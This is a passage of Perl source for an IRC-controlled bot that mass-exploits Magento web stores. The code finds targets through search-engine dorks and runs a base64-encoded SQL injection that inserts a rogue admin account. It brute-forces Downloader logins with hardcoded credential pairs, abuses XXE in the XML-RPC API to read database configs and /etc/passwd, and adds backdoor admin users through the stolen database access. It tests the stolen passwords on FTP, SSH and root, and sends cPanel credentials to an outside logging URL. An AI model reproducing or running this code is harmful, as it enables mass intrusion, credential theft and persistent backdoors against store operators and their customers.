GAsIGBzb3J0X29yZGVyYCwgYHJvbGVfdHlwZWAsIGB1c2VyX2lkYCwgYHJvbGVfbmFtZWApIFZBTFVFUyAoMSwgMiwgMCwgJ1UnLCAzNSwgJ21hZ2VudCcpOzsgLS0g"; my $fz = &get_content($testsql); my $url = "http://".$site."/admin"; my $check = &get_content($url); if($check =~ //g) { my $username = "lycoz"; my $password = "wew"; my $key = $1; my $ua = LWP::UserAgent->new( keep_alive => 1, timeout => 120, agent => $uagent ); $ua->requests_redirectable(['GET', 'HEAD', 'POST']); $ua->max_redirect(5); $ua->cookie_jar(HTTP::Cookies->new(file => "cookies.txt", autosave => 1)); my $response = $ua->request( POST "$url", Content_Type => 'form-data', Content => [ "login[username]" => $username, "login[password]" => $password, "form_key" => $key ] ); my $res = $response->content; if($res =~ /(.*?)<\/span>/g) { my $price = $1; my $url2 = "http://".$site."/downloader"; my $ua2 = LWP::UserAgent->new( keep_alive => 1, timeout => 120, agent => $uagent ); $ua2->requests_redirectable(['GET', 'HEAD', 'POST']); $ua2->max_redirect(5); $ua2->cookie_jar(HTTP::Cookies->new(file => "cookies.txt", autosave => 1)); my $response2 = $ua2->request( POST "$url2", Content_Type => 'form-data', Content => [ "username" => $username, "password" => $password ] ); my $res2 = $response2->content; if($res2 =~ /Log Out/ig || $res2 =~/Return to Admin/ig) { my $out = ($res2 =~ /Warning: Your Magento folder does not have sufficient write permissions/ig) ? 'Denied' : 'Writable'; my $fs = ($res2 =~ /File_System/ig) ? "Installed" : "Not Install"; &msg("$admin","![4SHOPLIFT]! 12".$url." 4<9=4> 12 File_System = $fs & Downloader = $out  ![13*]!"); &msg("$channel","![4SHOPLIFT]! 12LOGIN11 [8Success11]12 Balance11 [9 ".$price." 11] ![13*]!"); } } } } my $satos = "http://".$site.$dirx; my $chick = &Query($satos); if($chick =~ /Password/i) { &message($chanx,"![4X]! Exploiting (8): 14Begin ![13*]!"); my $res = &mslAdmin($satos); if($res =~ /Dashboard/i) { &message($admin,"![4SHOPLIFT]! [ 12http://".$site."downloader ] [ 12http://".$site.$dirx." ] [ 3Login success ]"); &message($wakil,"![4SHOPLIFT]! [ 12http://".$site."downloader ] [ 12http://".$site.$dirx." ] [ 3Login success ]"); &message($chanx,"![4SHOPLIFT]! [ 3Login success ]"); &WriteLogs("MSL.URL",md5_hex($site)); } } my $testsql = "http://".$site."admin/Cms_Wysiwyg/directive/?forwarded=true&isIframe=true&___directive=e3tibG9jayB0eXBlPSJhZG1pbmh0bWwvcmVwb3J0X3NlYXJjaF9ncmlkIn19&filter=bnVtX3Jlc3VsdHNbZnJvbV09MCZudW1fcmVzdWx0c1tmaWVsZF9leHByXT0xPTIpO0RFTEVURSBGUk9NIGBhZG1pbl91c2VyYCBXSEVSRSB1c2VyX2lkID0gMzU7ICBERUxFVEUgRlJPTSBgYWRtaW5fcm9sZWAgV0hFUkUgdXNlcl9pZCA9IDM1OyAgSU5TRVJUIElOVE8gYGFkbWluX3VzZXJgIChgdXNlcl9pZGAsIGBmaXJzdG5hbWVgLCBgbGFzdG5hbWVgLCBgZW1haWxgLCBgdXNlcm5hbWVgLCBgcGFzc3dvcmRgLCBgY3JlYXRlZGAsIGBtb2RpZmllZGAsIGBsb2dkYXRlYCwgYGxvZ251bWAsIGByZWxvYWRfYWNsX2ZsYWdgLCBgaXNfYWN0aXZlYCwgYGV4dHJhYCkgVkFMVUVTICAoMzUsJ2JhY2t1cCcsICdseWNveicsICdiYWNrdXBAbWFnZW50b3MuY29tJywgJ2x5Y296JywgJzM4NDc4MjAxMzg1NjQ1MjUyMDUyOTlmMWY0NDRjNWVjJywgJ251bGwnLCAnbnVsbCcsICdudWxsJywgMSwgMCwgMSwgJ047Jyk7ICBJTlNFUlQgSU5UTyBgYWRtaW5fcm9sZWAgKGBwYXJlbnRfaWRgLCBgdHJlZV9sZXZlbGAsIGBzb3J0X29yZGVyYCwgYHJvbGVfdHlwZWAsIGB1c2VyX2lkYCwgYHJvbGVfbmFtZWApIFZBTFVFUyAoMSwgMiwgMCwgJ1UnLCAzNSwgJ21hZ2VudCcpOzsgLS0g"; my $fz = &get_content($testsql); my $url = "http://".$site."/admin"; my $check = &get_content($url); if($check =~ //g) { my $username = "lycoz"; my $password = "wew"; my $key = $1; my $ua = LWP::UserAgent->new( keep_alive => 1, timeout => 120, agent => $uagent ); $ua->requests_redirectable(['GET', 'HEAD', 'POST']); $ua->max_redirect(5); $ua->cookie_jar(HTTP::Cookies->new(file => "cookies.txt", autosave => 1)); my $response = $ua->request( POST "$url", Content_Type => 'form-data', Content => [ "login[username]" => $username, "login[password]" => $password, "form_key" => $key ] ); my $res = $response->content; if($res =~ /(.*?)<\/span>/g) { my $price = $1; my $url2 = "http://".$site."/downloader"; my $ua2 = LWP::UserAgent->new( keep_alive => 1, timeout => 120, agent => $uagent ); $ua2->requests_redirectable(['GET', 'HEAD', 'POST']); $ua2->max_redirect(5); $ua2->cookie_jar(HTTP::Cookies->new(file => "cookies.txt", autosave => 1)); my $response2 = $ua2->request( POST "$url2", Content_Type => 'form-data', Content => [ "username" => $username, "password" => $password ] ); my $res2 = $response2->content; if($res2 =~ /Log Out/ig || $res2 =~/Return to Admin/ig) { my $out = ($res2 =~ /Warning: Your Magento folder does not have sufficient write permissions/ig) ? 'Denied' : 'Writable'; my $fs = ($res2 =~ /File_System/ig) ? "Installed" : "Not Install"; &msg("$admin","![4SHOPLIFT]! 12".$url." 4<9=4> 12 File_System = $fs & Downloader = $out  ![13*]!"); &msg("$channel","![4SHOPLIFT]! 12LOGIN11 [8Success11]12 Balance11 [9 ".$price." 11] ![13*]!"); } } } } } exit; } } if($count %150 == 0){ &message($chanx,"![7MSL]! 14".$count." to 14".$upto." 9Finish ![7*]!"); } } } sub mslAdmin(){ my $site = $_[0]; my(%form); undef %form; $form{username} = "dlc"; $form{password} = "dlc"; my $ua = LWP::UserAgent->new(ssl_opts => { verify_hostname => 0 }); $ua->agent($User_Agent[rand(scalar(@User_Agent))]); $ua->cookie_jar(HTTP::Cookies->new(file => $cookietmp, autosave => 1)); $ua->timeout(12); my $req = POST $site,\%form; my $res = $ua->request($req); return $res->content; } sub msxAdmin(){ my $site = $_[0]; my $buka = "http://".$site."downloader/"; my $serv = $site; $serv =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/; my @musr = ("lycoz:wew","policy:tempek","system32:devil123","xSouL:gentho","forme:forme","system_backup:123456","sadmin:asdf","Jhones:kreator","magen:magen","blackunix:crew","sysadm:123456","bogel:gagal","miyabi:wew","stores:stores","jancok:jancok","service:sohai123","dlc:dlc"); my $inpack; my $xtoken; foreach my $cobalogin (@musr){ my ($muzr, $mpaz) = split(/:/, $cobalogin); my(%form); undef %form; $form{username} = $muzr; $form{password} = $mpaz; my $ua = LWP::UserAgent->new(ssl_opts => { verify_hostname => 0 }); $ua->agent($User_Agent[rand(scalar(@User_Agent))]); $ua->cookie_jar(HTTP::Cookies->new(file => $cookietmp, autosave => 1)); $ua->timeout(10); my $req = POST $buka,\%form; my $res = $ua->request($req); my $res = $res->content; if($res =~ /href=\"(.*?)\?SID=(.*?)\"/i){ $magurl = $1; $maguri = $2; $xtoken.= "?SID=".$maguri; } if($res =~ /File_System/i){ $inpack.="[ 13File_System ]"; } if($res =~ /kontol_module/i){ $inpack.="[ 13kontol_module ]"; } if($res =~ /not have sufficient write permission/i){ $inpack.="[ 14Permission denied ]"; } if($res =~ /form\.install_package_id\.value/i){ $inpack.="[ 3OK ]"; } if($inpack){ if($inpack !~ /Permission denied/){ &message($admin,"![4SHOPLIFT]! [ 12http://".$site."downloader/".$xtoken." ] [ 7".$muzr." - 7".$mpaz." ] ".$inpack.""); &message($wakil,"![4SHOPLIFT]! [ 12http://".$site."downloader/".$xtoken." ] [ 7".$muzr." - 7".$mpaz." ] ".$inpack.""); } &message($chanx,"![4SHOPLIFT]! [ 12Login Finder ] ".$inpack); &WriteLogs("MSL.URL",md5_hex($site)); last; } } } sub dbConnect(){ my $site = $_[0]; my $host = $_[1]; my $user = $_[2]; my $pass = $_[3]; my $base = $_[4]; my $port = "3306"; my $form = "mysql"; my $dsn = "dbi:$form:$base:$host:$port"; my $cobaload; my $sita = $site; $sita =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/; if($pass != ""){ my $chkurl = &ReadLogs("MSL.SQL",md5_hex($site)); if($chkurl == 0){ my $DBIconnect = DBI->connect($dsn, $user, $pass); if($DBIconnect) { $DBIconnect->do("DELETE FROM admin_user WHERE username='dlc'"); $DBIconnect->do("DELETE FROM admin_role WHERE user_id=6969"); $DBIconnect->do("INSERT INTO admin_user (user_id, firstname, lastname, email, username, password, created, modified, logdate, lognum, reload_acl_flag, is_active, extra) VALUES (6969, 'magento', 'developer', 'developer\@magentocommerce.com', 'dlc', 'ca1e6507a632b09d5002af6b2fc779ee:MQ', '2015-05-05 05:05:05', '2015-05-05 05:05:05', '2015-05-05 05:05:05', 1, 0, 1, 'N;')"); $DBIconnect->do("INSERT INTO admin_role (parent_id, tree_level, sort_order, role_type, user_id, role_name) VALUES (1, 2, 0, 'U', 6969, 'developer')"); $DBIconnect->do("DELETE FROM magento_admin_user WHERE username='dlc'"); $DBIconnect->do("DELETE FROM magento_admin_role WHERE user_id=6969"); $DBIconnect->do("INSERT INTO magento_admin_user (user_id, firstname, lastname, email, username, password, created, modified, logdate, lognum, reload_acl_flag, is_active, extra) VALUES (6969, 'magento', 'developer', 'developer\@magentocommerce.com', 'dlc', 'ca1e6507a632b09d5002af6b2fc779ee:MQ', '2015-05-05 05:05:05', '2015-05-05 05:05:05', '2015-05-05 05:05:05', 1, 0, 1, 'N;')"); $DBIconnect->do("INSERT INTO magento_admin_role (parent_id, tree_level, sort_order, role_type, user_id, role_name) VALUES (1, 2, 0, 'U', 6969, 'developer')"); $DBIconnect->do("DELETE FROM mage_admin_user WHERE username='dlc'"); $DBIconnect->do("DELETE FROM mage_admin_role WHERE user_id=6969"); $DBIconnect->do("INSERT INTO mage_admin_user (user_id, firstname, lastname, email, username, password, created, modified, logdate, lognum, reload_acl_flag, is_active, extra) VALUES (6969, 'magento', 'developer', 'developer\@magentocommerce.com', 'dlc', 'ca1e6507a632b09d5002af6b2fc779ee:MQ', '2015-05-05 05:05:05', '2015-05-05 05:05:05', '2015-05-05 05:05:05', 1, 0, 1, 'N;')"); $DBIconnect->do("INSERT INTO mage_admin_role (parent_id, tree_level, sort_order, role_type, user_id, role_name) VALUES (1, 2, 0, 'U', 6969, 'developer')"); $DBIconnect->do("DELETE FROM mg_admin_user WHERE username='dlc'"); $DBIconnect->do("DELETE FROM mg_admin_role WHERE user_id=6969"); $DBIconnect->do("INSERT INTO mg_admin_user (user_id, firstname, lastname, email, username, password, created, modified, logdate, lognum, reload_acl_flag, is_active, extra) VALUES (6969, 'magento', 'developer', 'developer\@magentocommerce.com', 'dlc', 'ca1e6507a632b09d5002af6b2fc779ee:MQ', '2015-05-05 05:05:05', '2015-05-05 05:05:05', '2015-05-05 05:05:05', 1, 0, 1, 'N;')"); $DBIconnect->do("INSERT INTO mg_admin_role (parent_id, tree_level, sort_order, role_type, user_id, role_name) VALUES (1, 2, 0, 'U', 6969, 'developer')"); my $DBIcheck = $DBIconnect->prepare("SELECT * FROM admin_user WHERE user_id=6969"); $DBIcheck->execute(); my $row = $DBIcheck->fetchrow_hashref(); if($row->{'username'} == "dlc") { $cobaload.=" [ 7Execute success ]"; } my $xdcek = "http://".$site."downloader/"; my $check = &Query($xdcek); if($check =~ /Magento Downloader/i) { $cobaload.=" [ 12".$xdcek." ]"; } &message($admin,"![4MSL-PMA]! [ 14Hostname:3 ".$host." - 14Username:3 ".$user." - 14Password:3 ".$pass." - 14Database:3 ".$base." ] [ 12http://".$site." ] [ 14Login success ]".$cobaload); &message($wakil,"![4MSL-PMA]! [ 14Hostname:3 ".$host." - 14Username:3 ".$user." - 14Password:3 ".$pass." - 14Database:3 ".$base." ] [ 12http://".$site." ] [ 14Login success ]".$cobaload); &message($chanx,"![4MSL-PMA]! [ 12Found ]".$cobaload); &WriteLogs("MSL.SQL",md5_hex($site)); $DBIcheck->finish(); $DBIconnect->disconnect(); } } else { &message($chanx,"![4X]! phpmyadmin: 14".$sita." ![13*]!"); } } } ##[ MAGENTO XMLRPC ]## sub XXETest(){ my $count = 0; my @links = &GetLink(); my @uni = &Unique(@links); &message($chanx,"![13Total]! Sites: 14".scalar(@links)." Clean: 14".scalar(@uni)." => Exploiting XXE started ![13*]!"); &message($chanx,"![13MAG]! 4Warning: If already exploited, target will not displayed"); &Remove(); my $upto = scalar(@uni); my $from = 0; foreach my $site (@uni){ $count++; my $index = "http://".$site."api/xmlrpc"; my $indox = "http://".$site."index.php/api/xmlrpc"; my $damen = $site; $damen =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/; $damen =~ s/^www\.//g; if(my $pid = fork){ waitpid($pid, 0); } else { if(fork){ exit; } else { my $xxe = &mageQuery($index, "app/etc/local.xml"); my $xxo = &mageQuery($indox, "app/etc/local.xml"); if($xxe =~ /host><\!\[CDATA\[(.*?)\]\]><\/host/i){ $hozz = $1; if($xxe =~ /username><\!\[CDATA\[(.*?)\]\]><\/username/i){ $user = $1; } if($xxe =~ /password><\!\[CDATA\[(.*?)\]\]><\/password/i){ $pass = $1; } if($xxe =~ /dbname><\!\[CDATA\[(.*?)\]\]><\/dbname/i){ $base = $1; } my $chkurl = &ReadLogs("MAG.URL",md5_hex($damen)); if($chkurl == 0){ if($mageforce == 0){ &mageConnect($index); &mageAuth($site, $hozz, $user, $pass, $base); if($sqlview == 1){ &mageSQL($site, $hozz, $user, $pass, $base); } } # ----- Brute Force ----- # else { &mageBrute($site, $index); } # ----- Brute Force ----- # &WriteLogs("MAG.URL",md5_hex($damen)); } else { &message($chanx,"![13X]! skipping: 14".$damen." ![13*]!"); } } elsif($xxo =~ /host><\!\[CDATA\[(.*?)\]\]><\/host/i){ $hozz = $1; if($xxo =~ /username><\!\[CDATA\[(.*?)\]\]><\/username/i){ $user = $1; } if($xxo =~ /password><\!\[CDATA\[(.*?)\]\]><\/password/i){ $pass = $1; } if($xxo =~ /dbname><\!\[CDATA\[(.*?)\]\]><\/dbname/i){ $base = $1; } my $chkurl = &ReadLogs("MAG.URL",md5_hex($damen)); if($chkurl == 0){ if($mageforce == 0){ &mageConnect($indox); &mageAuth($site, $hozz, $user, $pass, $base); if($sqlview == 1){ &mageSQL($site, $hozz, $user, $pass, $base); } } # ----- Brute Force ----- # else { &mageBrute($site, $indox); } # ----- Brute Force ----- # &WriteLogs("MAG.URL",md5_hex($damen)); } else { &message($chanx,"![13X]! skipping: 14".$damen." ![13*]!"); } } exit; } } if($count %150 == 0){ &message($chanx,"![7XXE]! 14".$count." to 14".$upto." 9Finish ![7*]!"); } } } sub mageAuth(){ my($site, $host, $user, $pass, $base)=@_; if($user =~ /\_/){ my ($users) = split("_", $user); $user = $users[0]; } my $sever = $site; $sever =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/; my $ftpcek = &Query($ftptest."?ftp=".$sever."&user=".$user."&pass=".uri_escape($pass), 25); if($ftpcek =~ /Login Succes/){ &message($admin,"![4MAG]! [ 12".$site." - 12".$user." - 12".$pass." ] [ 10FTP Authorized ]"); &message($wakil,"![4MAG]! [ 12".$site." - 12".$user." - 12".$pass." ] [ 10FTP Authorized ]"); &message($chanx,"![4MAG]! [ 12".$sever." ] [ 10FTP Authorized ]"); sleep(3); my $bukasock = IO::Socket::INET->new(PeerAddr=>"$host", PeerPort=>"2082", Proto=>"tcp", Timeout=>"7"); if($bukasock) { &message($admin,"![4CPX]! [ 12".$host." - 12".$user." - 12".$pass." ] [ 3CPX Detected ]"); &message($wakil,"![4CPX]! [ 12".$host." - 12".$user." - 12".$pass." ] [ 3CPX Detected ]"); &Query("http://bestphoenixairportparking.com/wp-content/plugins/statistics/log.php?name=CPX&host=$host&user=$user&pass=".uri_escape($pass), 2); $bukasock->close; } } if($sshcheck == 1){ my $sshcek = &Query($sshtest."?ssh=".$sever."&user=".$user."&pass=".uri_escape($pass), 30); if($sshcek =~ /Login Succes/){ &message($admin,"![13SSH]! [ 12".$site." - 12".$user." - 12".$pass." ] [ 13SSH Authorized ]"); &message($wakil,"![13SSH]! [ 12".$site." - 12".$user." - 12".$pass." ] [ 13SSH Authorized ]"); } my $sshroot = &Query($sshtest."?ssh=".$sever."&user=root&pass=".uri_escape($pass), 30); if($sshroot =~ /Login Succes/){ &message($admin,"![7ROOT]! [ 12".$site." - 12root - 12".$pass." ] [ 7ROOT Authorized ]"); &message($wakil,"![7ROOT]! [ 12".$site." - 12root - 12".$pass." ] [ 7ROOT Authorized ]"); } } } sub mageSQL(){ my($site, $host, $user, $pass, $base)=@_; my $serv = $site; $pass =~ s/[\s|\r|\n]+//; $serv =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/; my $cobaload; my @mysqlpath = ('phpMyAdmin', 'PhpMyAdmin', 'phpmyadmin', 'PHPMYADMIN', 'pma', 'PMA', 'mysql', 'adminer.php'); if($pass){ my $chkurl = &ReadLogs("MSL.SQL",md5_hex($site)); if($chkurl == 0){ foreach my $path (@mysqlpath){ my $urlpath = "http://".$site.$path; my $request = HTTP::Request->new(GET => $urlpath); my $browser = LWP::UserAgent->new(); $browser->timeout(10); my $response = $browser->request($request); if($response->is_success && ($response->content =~ /phpmyadmin|adminer/i) && ($response->content =~ /password/i)){ my $xdcek = "http://".$site."downloader/"; my $check = &Query($xdcek); if($check =~ /Magento Downloader/i){ $cobaload = "[ 12".$xdcek." ]"; } &message($admin,"![4MAG-SQL]! [ 14Hostname:3 ".$host." - 14Username:3 ".$user." - 14Password:3 ".$pass." - 14Database:3 ".$base." ] [ 12".$urlpath." ]".$cobaload); &message($chanx,"![4MAG-SQL]! [ 12".$urlpath." ]"); &WriteLogs("MSL.SQL",md5_hex($site)); last; } } if($host =~ /^127\.0\.0|^localhost/i){ &dbConnect($site, $serv, $user, $pass, $base); } else { my $xdbhost = "http://".$host."/"; my $request = HTTP::Request->new(GET => $xdbhost); my $browser = LWP::UserAgent->new(); $browser->timeout(10); my $response = $browser->request($request); if($response->is_success && $response->content =~ /phpmyadmin/i){ my $xdcek = "http://".$site."downloader/"; my $check = &Query($xdcek); if($check =~ /Magento Downloader/i){ $cobaload = "[ 12".$xdcek." ]"; } &message($admin,"![4MAG-PMA]! [ 14Hostname:3 ".$host." - 14Username:3 ".$user." - 14Password:3 ".$pass." - 14Database:3 ".$base." ] [ 12".$xdbhost." ]".$cobaload); &message($chanx,"![4MAG-PMA]! [ 12".$xdbhost." ]"); &WriteLogs("MSL.SQL",md5_hex($site)); } } } else { &message($chanx,"![13X]! phpmyadmin: 14".$serv." ![13*]!"); } } my $urlmami = "http://".$site."magmi/web/plugin_upload.php"; my $remagmi = HTTP::Request->new(GET => $urlmami); my $browsmi = LWP::UserAgent->new(); $browsmi->timeout(10); my $responmi = $browsmi->request($remagmi); if($responmi->is_success && $responmi->content =~ /magmi_utilities\.php/i){ if($responmi->content !~ /DISABLED FOR SECURITY REASONS/i){ &message($admin,"![4MAGMI]! [ 12http://".$serv."/magmi/web/magmi.php ]"); &message($wakil,"![4MAGMI]! [ 12http://".$serv."/magmi/web/magmi.php ]"); &message($chanx,"![4MAGMI]! [ 12Plugins ]"); } } } sub mageConnect(){ my $site = $_[0]; my $serv = $site; $serv =~ s/http:\/\/([-a-zA-Z0-9\.]+)\/.*/$1/; my $buka = &mageQuery($site, "downloader/connect.cfg"); # if($buka =~ /ftp:\/\//i) { # my($magx, $maga) = split("ftp://",$buka); # my($magb, $magc) = split(":",$maga); # my($magd, $mage) = split("\@",$magc); # my($magf, $magg) = split("\"",$mage); # my $user = $magb; my $pass = $magd; my $host = $magf; # &mageAuth($site, $host, $user, $pass, "NULL"); if($buka =~ /ftp:\/\/(.*?)\"/i) { my $nemu = $1; &message($admin,"![4CONN]! [ 03".$nemu." ] [ 12".$serv." ]"); &message($wakil,"![4CONN]! [ 03".$nemu." ] [ 12".$serv." ]"); } } sub mageDown(){ my $site = $_[0]; my $serv = $site; $serv =~ s/http:\/\/([-a-zA-Z0-9\.]+)\/.*/$1/; my $buka = &mageQuery("http://".$site."downloader/connect.cfg"); # if($buka =~ /ftp:\/\//i) { # my($magx, $maga) = split("ftp://",$buka); # my($magb, $magc) = split(":",$maga); # my($magd, $mage) = split("\@",$magc); # my($magf, $magg) = split("\"",$mage); # my $user = $magb; my $pass = $magd; my $host = $magf; # &mageAuth($site, $host, $user, $pass, "NULL"); if($buka =~ /ftp:\/\/(.*?)\"/i) { my $nemu = $1; &message($admin,"![4CONN]! [ 03".$nemu." ] [ 12".$serv." ]"); &message($wakil,"![4CONN]! [ 03".$nemu." ] [ 12".$serv." ]"); } } sub mageQuery(){ my $url = $_[0]; my $opo = $_[1]; my $uag = LWP::UserAgent->new(agent => 'Magento'); $exp = "\n"; $exp .= "\n"; #$exp .= "]>\n"; $exp .= "]>\n"; $exp .= "\n"; $exp .= "&xxe;\n"; $exp .= "\n"; $uag->timeout(10); my $res = $uag->request(POST $url, Content_Type => 'text/xml', Content => $exp); if($res->content =~ /quot;(.*?)"/i){ return decode_base64($1); } else { return "Dicks Looking for Cunts"; } } sub mageBrute(){ my($site, $index)=@_; my $hozz = $site; $hozz =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/; my $var; my $xxu = &mageForce($index, "/etc/passwd"); if($xxu =~ /\/bin\/bash/i){ &message($chanx,"![13X]! Reading passwd: 12".$hozz." ![13*]!"); my @dancok = split(/\n/, $xxu); foreach my $path (@dancok){ my ($arr_a) = split(/:/,$path); my ($arr_b,$arr_c) = split(/:/,reverse($path)); my ($username) = split(/:/,$arr_a); my ($binshell) = split(/:/,reverse($arr_b)); my ($userhome) = split(/:/,reverse($arr_c)); #----------------------- Buka home directory -----------------------# if($userhome =~ /\/vhosts\//){ $var = "httpdocs"; } elsif($userhome =~ /\/var\/www\/web/){ $var = "www"; } elsif($userhome =~ /\/htdocs/){ $var = ""; } elsif($userhome =~ /\/var\/www$/){ $var = "html"; } else { $var = "public_html"; } #-------------------------------------------------------------------# #&message($chanx, "$path - ".$userhome."/".$var."/app/etc/local.xml"); my $xxe = &mageForce($index, "".$userhome."/".$var."/app/etc/local.xml"); if($xxe =~ /<\!\[CDATA\[(.*?)\]\]><\/password>/i){ $pazz = $1; &message($admin,"![7MAG-FORCE]! [ 12".$hozz." - 12".$username." - 12".$pazz." ] [ 14".$userhome."/".$var." ]"); &mageAuth($site, $hozz, $username, $pazz, "NULL"); } } } } sub mageForce(){ my $url = $_[0]; my $opo = $_[1]; my $uag = LWP::UserAgent->new(agent => 'Magento'); $exp = ""; $exp .= ""; $exp .= "]>"; $exp .= ""; $exp .= "&xxe;"; $exp .= ""; $uag->timeout(10); my $res = $uag->request(POST $url, Content_Type => 'text/xml', Content => $exp); return $res->content; } ##[ PENCARIAN ]## sub Find(){ my $dork = $_[0]; my @proc; ####################### ### [ GOOGLE SITE ] ### ####################### if($dork !~ /site:/i){ if($goomode == 1){ $proc[0] = fork(); if($proc[0] == 0){ &message($chanx,"![7Go14.4COM]! Clean: 14".&Clean(&Mocha($GooCOM,&Key($dork)."+site:com"))." site"); exit; } $proc[1] = fork(); if($proc[1] == 0){ &message($chanx,"![7Go14.4BIZ]! Clean: 14".&Clean(&Mocha($GooBIZ,&Key($dork)."+site:biz"))." site"); exit; } $proc[2] = fork(); if($proc[2] == 0){ &message($chanx,"![7Go14.4ORG]! Clean: 14".&Clean(&Mocha($GooORG,&Key($dork)."+site:org"))." site"); exit; } $proc[3] = fork(); if($proc[3] == 0){ &message($chanx,"![7Go14.4NET]! Clean: 14".&Clean(&Mocha($GooNET,&Key($dork)."+site:net"))." site"); exit; } $proc[4] = fork(); if($proc[4] == 0){ &message($chanx,"![7Go14.4INFO]! Clean: 14".&Clean(&Mocha($GooINFO,&Key($dork)."+site:info"))." site"); exit; } $proc[5] = fork(); if($proc[5] == 0){ &message($chanx,"![7Go14.4ID]! Clean: 14".&Clean(&Mocha($GooID,&Key($dork)."+site:id"))." site"); exit; } $proc[6] = fork(); if($proc[6] == 0){ &message($chanx,"![7Go14.4JP]! Clean: 14".&Clean(&Mocha($GooJP,&Key($dork)."+site:jp"))." site"); exit; } $proc[7] = fork(); if($proc[7] == 0){ &message($chanx,"![7Go14.4MY]! Clean: 14".&Clean(&Mocha($GooMY,&Key($dork)."+site:my"))." site"); exit; } $proc[8] = fork(); if($proc[8] == 0){ &message($chanx,"![7Go14.4FR]! Clean: 14".&Clean(&Mocha($GooFR,&Key($dork)."+site:fr"))." site"); exit; } $proc[9] = fork(); if($proc[9] == 0){ &message($chanx,"![7Go14.4AU]! Clean: 14".&Clean(&Mocha($GooAU,&Key($dork)."+site:au"))." site"); exit; } $proc[10] = fork(); if($proc[10] == 0){ &message($chanx,"![7Go14.4UK]! Clean: 14".&Clean(&Mocha($GooUK,&Key($dork)."+site:uk"))." site"); exit; } $proc[11] = fork(); if($proc[11] == 0){ &message($chanx,"![7Go14.4AT]! Clean: 14".&Clean(&Mocha($GooAT,&Key($dork)."+site:at"))." site"); exit; } $proc[12] = fork(); if($proc[12] == 0){ &message($chanx,"![7Go14.4DE]! Clean: 14".&Clean(&Mocha($GooDE,&Key($dork)."+site:de"))." site"); exit; } $proc[13] = fork(); if($proc[13] == 0){ &message($chanx,"![7Go14.4BR]! Clean: 14".&Clean(&Mocha($GooBR,&Key($dork)."+site:br"))." site"); exit; } $proc[14] = fork(); if($proc[14] == 0){ &message($chanx,"![7Go14.4HU]! Clean: 14".&Clean(&Mocha($GooHU,&Key($dork)."+site:hu"))." site"); exit; } $proc[15] = fork(); if($proc[15] == 0){ &message($chanx,"![7Go14.4IL]! Clean: 14".&Clean(&Mocha($GooIL,&Key($dork)."+site:il"))." site"); exit; } $proc[16] = fork(); if($proc[16] == 0){ &message($chanx,"![7Go14.4AR]! Clean: 14".&Clean(&Mocha($GooAR,&Key($dork)."+site:ar"))." site"); exit; } $proc[17] = fork(); if($proc[17] == 0){ &message($chanx,"![7Go14.4CZ]! Clean: 14".&Clean(&Mocha($GooCZ,&Key($dork)."+site:cz"))." site"); exit; } $proc[18] = fork(); if($proc[18] == 0){ &message($chanx,"![7Go14.4IT]! Clean: 14".&Clean(&Mocha($GooIT,&Key($dork)."+site:it"))." site"); exit; } $proc[19] = fork(); if($proc[19] == 0){ &message($chanx,"![7Go14.4BE]! Clean: 14".&Clean(&Mocha($GooBE,&Key($dork)."+site:be"))." site"); exit; } $proc[20] = fork(); if($proc[20] == 0){ &message($chanx,"![7Go14.4RU]! Clean: 14".&Clean(&Mocha($GooRU,&Key($dork)."+site:ru"))." site"); exit; } $proc[21] = fork(); if($proc[21] == 0){ &message($chanx,"![7Go14.4PL]! Clean: 14".&Clean(&Mocha($GooPL,&Key($dork)."+site:pl"))." site"); exit; } $proc[22] = fork(); if($proc[22] == 0){ &message($chanx,"![7Go14.4MX]! Clean: 14".&Clean(&Mocha($GooMX,&Key($dork)."+site:mx"))." site"); exit; } $proc[23] = fork(); if($proc[23] == 0){ &message($chanx,"![7Go14.4RO]! Clean: 14".&Clean(&Mocha($GooRO,&Key($dork)."+site:ro"))." site"); exit; } $proc[24] = fork(); if($proc[24] == 0){ &message($chanx,"![7Go14.4LV]! Clean: 14".&Clean(&Mocha($GooLV,&Key($dork)."+site:lv"))." site"); exit; } $proc[25] = fork(); if($proc[25] == 0){ &message($chanx,"![7Go14.4SK]! Clean: 14".&Clean(&Mocha($GooSK,&Key($dork)."+site:sk"))." site"); exit; } $proc[26] = fork(); if($proc[26] == 0){ &message($chanx,"![7Go14.4US]! Clean: 14".&Clean(&Mocha($GooUS,&Key($dork)."+site:us"))." site"); exit; } $proc[27] = fork(); if($proc[27] == 0){ &message($chanx,"![7Go14.4IR]! Clean: 14".&Clean(&Mocha($GooIR,&Key($dork)."+site:ir"))." site"); exit; } $proc[28] = fork(); if($proc[28] == 0){ &message($chanx,"![7Go14.4CA]! Clean: 14".&Clean(&Mocha($GooCA,&Key($dork)."+site:ca"))." site"); exit; } $proc[29] = fork(); if($proc[29] == 0){ &message($chanx,"![7Go14.4HR]! Clean: 14".&Clean(&Mocha($GooHR,&Key($dork)."+site:hr"))." site"); exit; } $proc[30] = fork(); if($proc[30] == 0){ &message($chanx,"![7Go14.4TR]! Clean: 14".&Clean(&Mocha($GooTR,&Key($dork)."+site:tr"))." site"); exit; } $proc[31] = fork(); if($proc[31] == 0){ &message($chanx,"![7Go14.4CL]! Clean: 14".&Clean(&Mocha($GooCL,&Key($dork)."+site:cl"))." site"); exit; } $proc[32] = fork(); if($proc[32] == 0){ &message($chanx,"![7Go14.4DK]! Clean: 14".&Clean(&Mocha($GooDK,&Key($dork)."+site:dk"))." site"); exit; } $proc[33] = fork(); if($proc[33] == 0){ &message($chanx,"![7Go14.4ZA]! Clean: 14".&Clean(&Mocha($GooZA,&Key($dork)."+site:za"))." site"); exit; } $proc[34] = fork(); if($proc[34] == 0){ &message($chanx,"![7Go14.4UA]! Clean: 14".&Clean(&Mocha($GooUA,&Key($dork)."+site:ua"))." site"); exit; } $proc[35] = fork(); if($proc[35] == 0){ &message($chanx,"![7Go14.4CO]! Clean: 14".&Clean(&Mocha($GooCO,&Key($dork)."+site:co"))." site"); exit; } $proc[36] = fork(); if($proc[36] == 0){ &message($chanx,"![7Go14.4IN]! Clean: 14".&Clean(&Mocha($GooIN,&Key($dork)."+site:in"))." site"); exit; } $proc[37] = fork(); if($proc[37] == 0){ &message($chanx,"![7Go14.4BG]! Clean: 14".&Clean(&Mocha($GooBG,&Key($dork)."+site:bg"))." site"); exit; } $proc[38] = fork(); if($proc[38] 